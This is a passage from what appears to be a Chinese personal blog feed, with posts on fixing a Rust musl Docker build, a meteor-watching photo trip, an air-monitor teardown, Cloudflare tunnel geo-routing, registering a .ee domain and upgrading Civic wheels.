"/app/target/release/deps/libtokio_stream-22af83096a1cd410.rlib" "/app/target/release/deps/libatomic-c03615d17583da5e.rlib" "/app/target/release/deps/libstate-d79b0fb801f7b15b.rlib" "/app/target/release/deps/libparking_lot-56f62f958a9794d9.rlib" "/app/target/release/deps/libparking_lot_core-24ca98da7d7f2b19.rlib" "/app/target/release/deps/libcfg_if-85c334935ca1cf3d.rlib" "/app/target/release/deps/libsmallvec-b80672ee63140a1f.rlib" "/app/target/release/deps/liblock_api-aa9a3618939327ad.rlib" "/app/target/release/deps/libscopeguard-17c02f89e1495a6b.rlib" "/app/target/release/deps/libubyte-53a35973dcef3b92.rlib" "/app/target/release/deps/liblog-40d6ddc909b0c838.rlib" "/app/target/release/deps/libis_terminal-b2dec1edfa9020e0.rlib" "/app/target/release/deps/librustix-b79c7cdf68554bb1.rlib" "/app/target/release/deps/libbitflags-33a64692a7b926e9.rlib" "/app/target/release/deps/liblinux_raw_sys-3c0ed39bce490458.rlib" "/app/target/release/deps/libtime-c9efb7347e1d4147.rlib" "/app/target/release/deps/libitoa-4e3c2272091e09ac.rlib" "/app/target/release/deps/libtime_core-6e76d0b901dc6f13.rlib" "/app/target/release/deps/libderanged-f37da7152db973f2.rlib" "/app/target/release/deps/libfigment-d56bce3860016ab3.rlib" "/app/target/release/deps/libtoml-b489a43dc0f6eb1c.rlib" "/app/target/release/deps/libtoml_edit-9281968d258c7d78.rlib" "/app/target/release/deps/libserde_spanned-b158dd6ea3b96735.rlib" "/app/target/release/deps/libindexmap-ba48b6652434a2a8.rlib" "/app/target/release/deps/libequivalent-632a5c005316850d.rlib" "/app/target/release/deps/libhashbrown-3983d74463a82636.rlib" "/app/target/release/deps/libwinnow-6899879cdd6c2091.rlib" "/app/target/release/deps/libtoml_datetime-0897972d9afde5d0.rlib" "/app/target/release/deps/libuncased-e60bc90193c31787.rlib" "/app/target/release/deps/libpear-daf347955190abd8.rlib" "/app/target/release/deps/libyansi-8f33bca686eb0e72.rlib" "/app/target/release/deps/libinlinable_string-edce6a169e8d4fb3.rlib" "/app/target/release/deps/libserde-b9f17f14c671d860.rlib" "/app/target/release/deps/libtokio-f5a651b5671ad6ce.rlib" "/app/target/release/deps/libsignal_hook_registry-43f091791edab8d3.rlib" "/app/target/release/deps/libnum_cpus-645e52fa82c5038d.rlib" "/app/target/release/deps/libsocket2-5f5a714d64fd802d.rlib" "/app/target/release/deps/libbytes-62c9407790d48b4a.rlib" "/app/target/release/deps/libmio-31b9694540026601.rlib" "/app/target/release/deps/liblibc-995eeee032a5f5f9.rlib" "/app/target/release/deps/libfutures-cba62e5842e36664.rlib" "/app/target/release/deps/libfutures_util-36aed2c0518ed210.rlib" "/app/target/release/deps/libmemchr-3a7c2b395cb2f36e.rlib" "/app/target/release/deps/libfutures_io-eb63744d4682e029.rlib" "/app/target/release/deps/libslab-7b5bd29f7639d510.rlib" "/app/target/release/deps/libfutures_channel-955aedcfa158ff5e.rlib" "/app/target/release/deps/libfutures_sink-6b1883f3a3d27161.rlib" "/app/target/release/deps/libfutures_task-231e41c20a6bfd7e.rlib" "/app/target/release/deps/libpin_utils-5a2c59a680150faa.rlib" "/app/target/release/deps/libasync_stream-ba095822278f5551.rlib" "/app/target/release/deps/libpin_project_lite-7d06350189cc1d02.rlib" "/app/target/release/deps/libfutures_core-3bef00756fc0a4ca.rlib" "/app/target/release/deps/libyansi-a9a29b8f1212c3c5.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libstd-a55c99d9aac7c6c8.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libpanic_unwind-46b2ae4ce5f4ac3c.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libobject-bc100d33f847f53c.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libmemchr-6fed8b06d1b8dd31.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libaddr2line-ef156e55b8a0b661.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libgimli-5dd0cc5240ff597d.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/librustc_demangle-b6251d721ee20ba8.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libstd_detect-2abef0e4453983bd.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libhashbrown-7ba331d2a4169fa6.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/librustc_std_workspace_alloc-94dcb2b51eeefe61.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libminiz_oxide-b86470996bafb930.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libadler-500cadb64a5228ac.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libunwind-53353d61a88a3a7a.rlib" "-lunwind" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libcfg_if-fe0ba221a42ab3ba.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/liblibc-a76e01b4e68d0f0e.rlib" "-lc" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/liballoc-74327c4df0bf25aa.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/librustc_std_workspace_core-e7cc358bf4ebd76f.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libcore-632ed3ff9dfe5d9b.rlib" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libcompiler_builtins-6865cdea8e17976b.rlib" "-Wl,-Bdynamic" "-Wl,--eh-frame-hdr" "-Wl,-z,noexecstack" "-nostartfiles" "-L" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib" "-L" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/self-contained" "-o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb" "-Wl,--gc-sections" "-static" "-no-pie" "-Wl,-z,relro,-z,now" "-Wl,-O1" "-nodefaultlibs" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/self-contained/crtend.o" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/self-contained/crtn.o"
= note: /usr/lib/gcc/aarch64-alpine-linux-musl/12.2.1/../../../../aarch64-alpine-linux-musl/bin/ld: /usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libcompiler_builtins-6865cdea8e17976b.rlib(45c91108d938afe8-cpu_model.o): in function `init_have_lse_atomics':
/cargo/registry/src/index.crates.io-6f17d22bba15001f/compiler_builtins-0.1.98/./lib/builtins/cpu_model.c:1075: undefined reference to `getauxval'
/usr/lib/gcc/aarch64-alpine-linux-musl/12.2.1/../../../../aarch64-alpine-linux-musl/bin/ld: /usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/libcompiler_builtins-6865cdea8e17976b.rlib(45c91108d938afe8-cpu_model.o): in function `init_cpu_features':
/cargo/registry/src/index.crates.io-6f17d22bba15001f/compiler_builtins-0.1.98/./lib/builtins/cpu_model.c:1373: undefined reference to `getauxval'
/usr/lib/gcc/aarch64-alpine-linux-musl/12.2.1/../../../../aarch64-alpine-linux-musl/bin/ld: /cargo/registry/src/index.crates.io-6f17d22bba15001f/compiler_builtins-0.1.98/./lib/builtins/cpu_model.c:1374: undefined reference to `getauxval'
collect2: error: ld returned 1 exit status
= note: some `extern` functions couldn't be found; some native libraries may need to be installed or have their path specified
= note: use the `-l` flag to specify native libraries to link
= note: use the `cargo:rustc-link-lib` directive to specify the native libraries to link with Cargo (see https://doc.rust-lang.org/cargo/reference/build-scripts.html#cargorustc-link-libkindname)
error: could not compile `github-runner-kms-rs` (bin "github-runner-kms-rs") due to previous error
经过了各种搜索,发现可能是一个 Bug,最后在 https://github.com/rust-lang/git2-rs/issues/706 中发现有人加入了 CFLAGS=-mno-outline-atomics 环境变量,于是我也试试:
# docker build . -t knatnetwork/github-runner-kms-rs
FROM rust:1.72-alpine as builder
WORKDIR /app
RUN apk add --no-cache musl-dev pkgconfig openssl-dev perl make
COPY Cargo.toml Cargo.lock rust-toolchain.toml ./
RUN mkdir src
COPY src ./src
ENV CFLAGS=-mno-outline-atomics
RUN cargo build --release
FROM alpine
WORKDIR /
COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/
COPY --from=builder /app/target/release/github-runner-kms-rs /github-runner-kms-rs
ENV ROCKET_ADDRESS=0.0.0.0
ENV ROCKET_PORT=3000
CMD ["/github-runner-kms-rs"]
再来构建,这次在 ARM64 上构建成功了,但是回过来在 AMD64 上构建又失败了:
#0 51.10
#0 51.10 **********************************************************************
#0 51.10 *** ***
#0 51.10 *** OpenSSL has been successfully configured ***
#0 51.10 *** ***
#0 51.10 *** If you encounter a problem while building, please open an ***
#0 51.10 *** issue on GitHub <https://github.com/openssl/openssl/issues> ***
#0 51.10 *** and include the output from the following command: ***
#0 51.10 *** ***
#0 51.10 *** perl configdata.pm --dump ***
#0 51.10 *** ***
#0 51.10 *** (If you are new to OpenSSL, you might want to consult the ***
#0 51.10 *** 'Troubleshooting' section in the INSTALL file first) ***
#0 51.10 *** ***
#0 51.10 **********************************************************************
#0 51.10 running cd "/app/target/release/build/openssl-sys-efe4f068ed311573/out/openssl-build/build/src" && "make" "depend"
#0 51.10 running cd "/app/target/release/build/openssl-sys-efe4f068ed311573/out/openssl-build/build/src" && MAKEFLAGS="-j --jobserver-fds=8,13 --jobserver-auth=8,13" "make" "build_libs"
#0 51.10 perl "-I." -Mconfigdata "util/dofile.pl" \
#0 51.10 "-oMakefile" include/crypto/bn_conf.h.in > include/crypto/bn_conf.h
#0 51.10 perl "-I." -Mconfigdata "util/dofile.pl" \
#0 51.10 "-oMakefile" include/crypto/dso_conf.h.in > include/crypto/dso_conf.h
#0 51.10 perl "-I." -Mconfigdata "util/dofile.pl" \
#0 51.10 "-oMakefile" include/openssl/opensslconf.h.in > include/openssl/opensslconf.h
#0 51.10 make depend && make _build_libs
#0 51.10 make[1]: Entering directory '/app/target/release/build/openssl-sys-efe4f068ed311573/out/openssl-build/build/src'
#0 51.10 make[1]: Leaving directory '/app/target/release/build/openssl-sys-efe4f068ed311573/out/openssl-build/build/src'
#0 51.10 make[1]: Entering directory '/app/target/release/build/openssl-sys-efe4f068ed311573/out/openssl-build/build/src'
#0 51.10 cc -I. -Iinclude -fPIC -pthread -m64 -Wa,--noexecstack -mno-outline-atomics -O2 -ffunction-sections -fdata-sections -fPIC -m64 -mno-outline-atomics -DOPENSSL_USE_NODELETE -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM -DOPENSSLDIR="\"/usr/local/ssl\"" -DENGINESDIR="\"/app/target/release/build/openssl-sys-efe4f068ed311573/out/openssl-build/install/lib/engines-1.1\"" -DNDEBUG -DOPENSSL_NO_SECURE_MEMORY -MMD -MF apps/app_rand.d.tmp -MT apps/app_rand.o -c -o apps/app_rand.o apps/app_rand.c
#0 51.10 make[1]: Leaving directory '/app/target/release/build/openssl-sys-efe4f068ed311573/out/openssl-build/build/src'
#0 51.10
#0 51.10 --- stderr
#0 51.10 cc: error: unrecognized command-line option '-mno-outline-atomics'; did you mean '-fno-inline-atomics'?
#0 51.10 cc: error: unrecognized command-line option '-mno-outline-atomics'; did you mean '-fno-inline-atomics'?
#0 51.10 make[1]: *** [Makefile:679: apps/app_rand.o] Error 1
#0 51.10 make: *** [Makefile:177: build_libs] Error 2
#0 51.10 thread 'main' panicked at /usr/local/cargo/registry/src/index.crates.io-6f17d22bba15001f/openssl-src-111.27.0+1.1.1v/src/lib.rs:506:13:
#0 51.10
#0 51.10
#0 51.10
#0 51.10 Error building OpenSSL:
#0 51.10 Command: cd "/app/target/release/build/openssl-sys-efe4f068ed311573/out/openssl-build/build/src" && MAKEFLAGS="-j --jobserver-fds=8,13 --jobserver-auth=8,13" "make" "build_libs"
#0 51.10 Exit status: exit status: 2
#0 51.10
#0 51.10
#0 51.10
#0 51.10 note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
#0 51.11 warning: build failed, waiting for other jobs to finish...
------
Dockerfile:15
--------------------
13 |
14 | ENV CFLAGS=-mno-outline-atomics
15 | >>> RUN cargo build --release

无奈,最终只能暂时接受 ARM64 和 AMD64 用两个独立的 Dockerfile 来构建的模式了(AMD64 的 Dockerfile 中不加入 ENV CFLAGS=-mno-outline-atomics 环境变量),最后参考了一下自己早期文章 在 GitHub Actions 上使用多 Job 并行构建,提升 Multi-Arch 镜像制作速度 分两个 Job 分开构建镜像并缝合的方式,终于可以在一个看上去还算合理的时间内构建这个新程序的 MultiArch 镜像了。
当然,这里「还算合理的时间」其实也没那么合理就是了,下一步的研究方向可能是做一个可以按需启动 Hetzner 机器并自动注册 ARM64 Self-hosted Runner 的方式

总结一下,在这次的构建过程中遇到了如下的问题:
感觉好像我一上手 Rust 就踩了个大坑,也许不该上来就搞 HTTP 相关的东西的
对比一下如果用 Go 要解决上面静态链接 SSL 相关库的问题似乎只要:
CGO_ENABLED=0 go build .
就可以了,但是在 Rust 这里,就得各种找人打架,安装依赖,尝试看各种看不懂的报错。(当然也有可能是我太菜了导致)。
在学习期间还偶然发现一个神奇的玩法,即使用:
rustup target add x86_64-unknown-linux-musl
cargo build --release --target=x86_64-unknown-linux-musl
使用这种方式构建出来的 Binary 不会有任何依赖(静态链接):
ldd target/x86_64-unknown-linux-musl/release/github-runner-kms-rs
statically linked
du -ch target/x86_64-unknown-linux-musl/release/github-runner-kms-rs
17M target/x86_64-unknown-linux-musl/release/github-runner-kms-rs
17M total
而且最有趣的是,这里虽然名字叫 musl ,但是并不会像我们传统的在 Alpine 上构建出来的文件依赖 musl 库没法在 glibc 运行时环境的机器上运行,这个 binary 似乎可以在任何 AMD64 架构的平台上运行。
对比之下,传统方式用 cargo build --release 构建的话会有许多的依赖(但是构建出来文件体积和静态链接的是一样的):
ldd target/release/github-runner-kms-rs
linux-vdso.so.1 (0x00007fffba6fd000)
libgcc_s.so.1 => /lib64/libgcc_s.so.1 (0x00007f276cebc000)
libm.so.6 => /lib64/libm.so.6 (0x00007f276cdde000)
libc.so.6 => /lib64/libc.so.6 (0x00007f276c000000)
/lib64/ld-linux-x86-64.so.2 (0x00007f276cefa000)
du -ch target/release/github-runner-kms-rs
17M target/release/github-runner-kms-rs
17M total
机缘巧合,在一个被称为「P社上海车友会」的 Telegram 群看到一个大佬说晚上打算去看流星。

想来自己常年处于光污染的城市区域,从来没亲眼看到过流星,甚至连银河也只是在其他人的照片中看到过,且考虑到崇明也不算太远,于是便有了这个说走就走的旅行。
考虑到可能会折腾到比较晚,加上当天上午才洗好了车又跑了一遍图书馆(缴纳逾期罚款),中午一觉睡到了 1700 醒来,稍微看了一下大家推荐的观星位置便决定带上相机,三脚架和两个镜头去崇明东滩,由于醒来之后晚饭没吃,便决定导航到崇明唯二的一个 KFC 去吃饭,然后再去东滩。
由于是下午,且是去崇明的方向,基本就是上了高速 ACC 一打开,就只要等时间的状态,FK7 在这个时候表现出了非常家用的一面——5.0L/100KM 的油耗。

到达了崇明之后停好车便开始在唯二的 KFC 中随意吃了点,同时看看大家的观星地点一般都是在什么地方


发现大家导航到的位置一般如下图:

但是由于我去的时候这条路路口的位置被车挡住了,于是在下一个路口往右了(也就是这个小水沟北面的那条平行的道路)。
从 KFC 到这边的过程中发现其实有很多路上是一点灯都没有的(可以看到整个夜空),但是也正是因为这个原因,我也不敢直接在路边停车+下车看星。
和大部分人导航到的地方不同的是,北边那条路基本只有一个车道(或者说大家一般都是停在了路中间),所以这就是一个先进后出的栈,我到达的时间比较早,大概在 2000 左右,当时栈底只有两辆车,一开始我还没意识到问题的严重性,便停下了车入栈,开始准备拍摄设备。
从我的位置拍摄河对面(大多数人导航的位置)的效果如图:

这次拍摄我带了两个镜头,一个是腾龙的 28-200MM F2.8~5.6,另一个则是国产"夜之眼" 铭匠光学 50MM F0.95,不过在实际的拍摄中,发现 50MM F0.95 的唯一优势似乎就是由于是手动对焦,可以通过放大对焦确认了对焦位置之后锁定对焦点,对于画质和焦距(尤其是广角的需求)等方面几乎没有任何优势,所以后期照片全部使用腾龙镜头拍摄。
这也是我第一次在伸手不见五指的地方尝试使用相机,对焦方式只能是对着天空,然后找到一个比较亮的星,用 DM-F 的对焦方式在相机尝试自动对焦(失败)之后手动旋转对焦环,相机会自动放大对焦
样张一:ƒ/2.8 30s 28mm ISO400,车的右下角发蓝光的是一个电蚊拍

样张二:ƒ/2.8 30s 28mm ISO3200

样张三:ƒ/2.8 30s 28mm ISO3200。

样张四,五:ƒ/2.8 30s 28mm ISO2000


由于几乎没有拍星空的经验,一开始我以为天上的星被拉成一条线是因为在我拍摄的时候地面有抖动(由于当时我还没有电子快门线,为了减少抖动我使用了自拍定时释放,在按了快门 5s 之后释放快门,减少按快门的瞬间引起的抖动),后来才意识到这是由于曝光时间过长,天上的星已经发生了位移导致,这种时候应该充分利用 Sony A7 的高感特性提升一些 ISO 减少一些快门时间来获得更好的拍摄效果。
样张六:ƒ/5.6 30s 28mm ISO400,画面中的线不是流星,而是飞机

到了 2300 之后,发现自己车后方有 > 10 辆车的时候我才意识到事情的严重性(同时感慨晚上吃了 KFC 没有拉肚子是有多么幸运,因为那个地方根本没有任何可以称得上厕所的地方),绝望和脖子痛之余,只好将自己后备箱的垫子丢在地上当一个简单的床垫,取下了椅子上的头枕当作枕头,开始躺在地上"摆烂",同时相机开启了定时拍摄,并希望可以拍摄到点什么有趣的东西(同时希望其他车上的人不要突然拿出帐篷并就地露营)。
此处拍了 > 80 张照片,只有下面两张照片勉强拍到了流星
样张七,八:ƒ/2.8 30s 28mm ISO3200


好消息是到了差不多 0100 我已经快要困的随时睡着的时候,天上流星数量明显减少(还好不是 0300 达峰),且天上开始逐渐飘起了一些云,同时听到了一些车启动准备离场的声音,重大利好!
我赶紧爬了起来开始收拾东西准备开溜,并最终在 0146 的时候,开始正式往家的方向走。

是谁 0200 还在沪陕高速上熬夜回家,是我了!

回程的路上由于几乎全是高速, 和来的时候一样全程开着 ACC 让车辆自动驾驶,当时回家路上的精神状态让我感觉如果这段路我还要全手动驾驶的话,可能我已经在某个奇怪的弯道上墙了。
等到回到家收拾完东西洗完澡躺到床上的时候,已经 0400 了,外面的天已经快亮了,有意思的是,从下午 1440 第一次看到大佬说去看流星直到第二天的中午,我都再也没有看到过他的消息(本来以为下午到了崇明之后会在某个地方汇合可以一起观星的)…直到一天后的晚上:


由于这次说走就走的旅行几乎没有什么额外准备,这次拍摄让我想到了多个后期可以补足以及这次正好过得还行的地方:
以上。
]]>和 青萍空气检测仪 Lite简单拆解 类似,尝试拆开青萍空气检测仪 Lite,不过我的目的是尝试解决它风扇异响的问题(间隔性的响声)。
这个设备的风扇异响似乎是一个通病,打开淘宝店上也能看到很多人反馈这个问题,不过一般都是返厂自费维修。
主要希望补全的是上文没有提到的屏幕的拆法,我暴力拆解后发现要拆屏幕的话需要先拆下最外面的塑料覆盖件,然后才能看到螺丝(也就是下图中最上面那层光滑的平面,要想办法把那个先撬起来,不然就会和我一样把整个屏幕总成破坏了)。

然后就是我失败的地方了,我在撬后盖的时候把排线撬断了(见下图左下角)

然后温度和湿度的传感器就没数据了。

然后就是一些图片分享了,主要的异响来源就是这个风扇,不过拆出来之后并没有发现什么我可以做的地方,所以…就这样吧。


以上。
]]>2023-11-27 更新:这种方法似乎只能保证有源站的国家(比如美国和日本,那只有美国和日本的访客)可以比较稳定就近回源,我在 Cloudflare Community 上发了帖子: https://community.cloudflare.com/t/tunnel-cannot-route-to-geographically-closest/537965/8
目前如果希望稳定就近回源,或者说可控的话,除了用 IPv6 Anycast 以外似乎还可以使用 Worker 回源,相关博客: 使用 Cloudflare Workers 在边缘让服务就近回源——降低全球平均延迟
在之前的文章「搭建 Cloudflare 背后的 IPv6 AnyCast 网络」中我们知道:
一般的,Cloudflare 回源的方式是由访客命中的数据中心进行回源
假设你的站点服务器位于美国,那么一个日本用户在访问你的域名的时候会首先访问到 Cloudflare 在日本的数据中心,然后由 Cloudflare 日本走公网反向代理到你的源站(也就是美国的机器上)获取内容。

如果你的站是 Stateless 的,或者说很好扩展的话,在使用 Cloudflare 的情况下其实并不能做到在多个区域中部署,并在使用同一个域名的情况下做到访客就近回源,具体来说,我们想达到的效果是如下的:
localhost:80 端口的服务tunnel.nova.moe,并使用 Cloudflare 作为 CDN在我们开始讲这个实践之前读者可以想想看如果你的业务有类似的需求,你会怎么设计?以下我列举几个可能性
us.nova.moe,jp.nova.moe 等) ,这样我们可以用别的自带分区解析的服务商,让不同区域的用户解析到不同的域名上
有没有什么更加廉价的解决方案?
通过 Cloudflared 的文档: Tunnel availability and failover · Cloudflare Zero Trust docs 中我们可以看到这么一段:
By design, replicas do not offer any level of traffic steering (random, hash, or round-robin). Instead, when a request arrives to Cloudflare, it will be forwarded to the replica that is geographically closest.
这就给了我们操作的空间,思路如下:
我们来看看实际操作起来是怎么样的,首先是创建 Tunnel 并在机器上连接 Tunnel

这里为了测试我找了两个分别位于新加坡和德国的机器用来演示,每个机器上都安装了 Nginx 并修改了一下 Example Page,在配置的时候我们可以看到已经有两个 Connector 在线了

接下来就是熟悉的配置环节,由于过于简单这里就没有截图了。
配置好之后我们来验证一下吧,这是从日本访问:

这是从瑞典访问:

可以看到我们在使用相同域名的情况下已经可以做到让 Cloudflare 回源到最近的数据中心了,位于欧洲的访客再也不用让 Cloudflare 公网回源到新加坡去拿数据了,这个时候对于我们的 Web App 来说,只要解决好后台数据同步的问题(或者说如果就是一个 Stateless 的 App 的话),已经可以在没有额外开销的情况下进一步减少不同区域访客的访问延迟了。
此外,即使你有部分机器不可用,只要还有一个机器活着,整个站点还会保持可用状态,因为:
If that distance calculation is unsuccessful or the connection fails, we will retry others, but there is no guarantee about which connection is chosen.
而且这一切还都是免费的!
不得不感慨,「At Cloudflare, we have our eyes set on an ambitious goal — to help build a better Internet.」,真的不仅仅是一句口号。
]]>常规来说我们要注册一个域名可能会找到自己最喜欢的服务商去搜索一下,比如在 Gandi 上搜索一个域名,然后注册就完事了,但是 .ee 域名稍微有点特殊,从 Gandi 的注册页面中我们可以看到

除了可以注意到价格有点贵的离谱以外,还有个 condition 叫做 To register a domain in .ee, you must meet some registry conditions: be a local or foreign company

为了了解 Gandi 到底有没有在忽悠我们,一个域名能需要什么额外的 additional work 呢?我们找到了爱沙尼亚互联网基金会的网站的域名注册规范:.ee Domain Regulation — Estonian Internet Foundation 看看注册域名具体需要什么。
在 4.1 Identification and identity verification requirements 我们可以看到,注册域名的时候需要对域名的注册进行 Sign:
The Registrant or his representative shall, for the purposes of identity verification and establishment of the Registrant’s intention
方法是用 Mobile-ID 或者 Estonian ID card
4.1.1¹. sign the application submitted to the Registrar either in handwriting in the presence of the Registrar’s representative or electronically using the Estonian ID card or Mobile ID; or
而且标明了电子公民也是认可的:
4.2¹. An electronic signature provided by an e-resident of Estonia shall be deemed equivalent to the electronic signature specified in clause 4.1.1¹ (see Chapter 52 of the Identity Documents Act).
由于我持有爱沙尼亚电子公民卡(随机 Lockdown 期间要当天来回冲刺北京-上海防止被健康宝弹窗而被迫滞留北京给北京贡献经济的冲刺赛体验,假人们谁懂啊),所以这里只需要找一个合理的服务商就好了:

我选择了好久之前好友 clarkzjw 推荐的 https://www.zone.ee/en/ 进行注册,注册流程和常规域名一样注册帐号并填写域名申请(注意,这里的申请人的 LastName 和 FirstName 必须和你的爱沙尼亚电子公民上面完全一致,不然签名会无法通过),而且可以看到在这里注册的话价格就是一个比较正常的域名价格

在付款完成之后我们就需要对域名进行签名,界面大概是这样的:

这个时候只需要选择下方的 ID Card 选择 Estonia ,然后插卡,如果你系统上和浏览器上插件安装正确的话(放心,这个插件不会像网银一样只能用 IE + Windows,我签名的环境是 Linux + Chrome),就会弹出需要输入 PIN2 ,然后确认签名,就完成了!
签名完成后还可以下载带签名的 PDF 文件,文件名后缀是 asice ,可以在本地通过 digidoc 打开,看到完整的文件和签名信息


WHOIS 信息会不会泄漏呢?我们 whois 一个域名看看信息是怎么样的:
whois xxxxxxxx.ee
[Querying whois.tld.ee]
[whois.tld.ee]
Search results may not be used for commercial, advertising, recompilation,
repackaging, redistribution, reuse, obscuring or other similar activities.
Estonia .ee Top Level Domain WHOIS server
Domain:
name: xxxxxxxx.ee
status: ok (paid and in zone)
registered: 2020-01-01 12:25:05 +03:00
changed: 2020-01-01 04:10:15 +03:00
expire: 2020-05-05
outzone:
delete:
Registrant:
name: Private Person
email: Not Disclosed - Visit www.internet.ee for webbased WHOIS
phone: Not Disclosed - Visit www.internet.ee for webbased WHOIS
changed: Not Disclosed
Administrative contact:
name: Not Disclosed
email: Not Disclosed - Visit www.internet.ee for webbased WHOIS
changed: Not Disclosed
Technical contact:
name: Not Disclosed
email: Not Disclosed - Visit www.internet.ee for webbased WHOIS
changed: Not Disclosed
Registrar:
name: Zone Media OÜ
url: http://www.zone.ee
phone: +372 6886886
changed: 2020-07-01 13:55:58 +03:00
Name servers:
nserver: joel.ns.cloudflare.com
nserver: vida.ns.cloudflare.com
changed: 2023-05-08 04:10:15 +03:00
Estonia .ee Top Level Domain WHOIS server
More information at http://internet.ee
可以看到 Registrant 部分基本都是 Visit www.internet.ee for webbased WHOIS,通过 www.internet.ee 的界面发现也会看到 Not Disclosed 的结果,所以域名真实注册人身份并不会被对外公开查询到,相关内容在 WHOIS Terms and Conditions 也可以看到:只有被定义为 Legal Person 才会被公开:
This means that the data of the registrant will be published through WHOIS if the registrant is a legal person.
理由是: legal persons do not have private life and do not exist in a physical form, personal rights do not apply to them.
(感觉这里 legal persons 还不能被单纯理解为我们常见的「法人」。
现在大部分域名都自带 WHOIS 保护了,域名注册的部分还是得尽量找靠谱的服务商+填写自己真实的信息,不然可能总是会在奇怪的地方遇到奇怪的问题,比如前段时间尝试注册一个 .pt 域名,然后 Gandi 上填写 Card ID,随便填了个上去,两天之内就收到邮件了:
Hello,
I'm contacting you concerning the domain xxxxxx.pt .
The registry has informed us that the domain name holder could not be correctly identified :
"
Following the assessment of the data associated with the registration of the domain(s) indicated below, and as provided for in paragraph 1 and paragraph 2 of article 8 of the .pt Registration Rules, we request the sending, via email to [email protected] , within a maximum period of 2 days, of the following information:
Full name
TIN (proof is required in case of legal entity)
Full address (name and type of street; door identification; housing identification; city; zip code and country)
E-mail address for contact
Please send them necessary information/documents to [email protected] in order to identify domain owner.
If the holder cannot be validated within 2 days, the domain name will be deleted.
虽然这都好多天过去了我域名还在吧..但是指不准什么时候就被收回了呢?(
(当然,有的时候还是会出现一些你确实填了真实信息,但是还是翻车了的情况,比如: 关于我的 Name.com 账号被关闭这件事
以上。
]]>YOHOMAHA A052 轮胎在街道行驶 1W KM ,天马赛车场赛道估计 20 圈左右的行驶之后,已经磨到了 Wear Indicator 了,虽然干地性能几乎没有下降,但是作为有雨天的街道使用已经寿终正寝:
借着这个换轮胎的机会打算正好把轮毂尺寸也提升一点,为了安装更宽的轮胎以及为后续的刹车升级留出空间(原厂 17 英寸轮毂的辐条设计没法塞进任何 4 活塞卡钳的刹车)。
十代思域 FK7 原厂轮毂数据为:
如果要换轮毂的话必须得符合 5x114.3 和中心孔 >= 64.1 来找,由于原厂轮胎的 215/50/R17 过于面条,下一套胎的数据被我定死在了 235/40/R18 上,也是美规思域 Sport 版本的原厂轮胎尺寸(虽然对应的他们轮毂的 ET 到了 55),轮胎外径和原厂的几乎一样。

为了更好的响应速度,所以轮毂的 J 值必须得 >= 8,且 8.5J 应该是最佳值。
调研了一下之后发现有以下轮毂外观还行:
正当我一筹莫展钱怎么来以及这些 ET 比较激进的轮毂会不会由于过于靠外蹭到车身的时候,Model 3 的轮毂进入了我的视野,数据如下:
PCD 和中心孔和思域的都完全一致,甚至不需要后期加变径环,这不就是思域的理想轮毂搭配嘛?
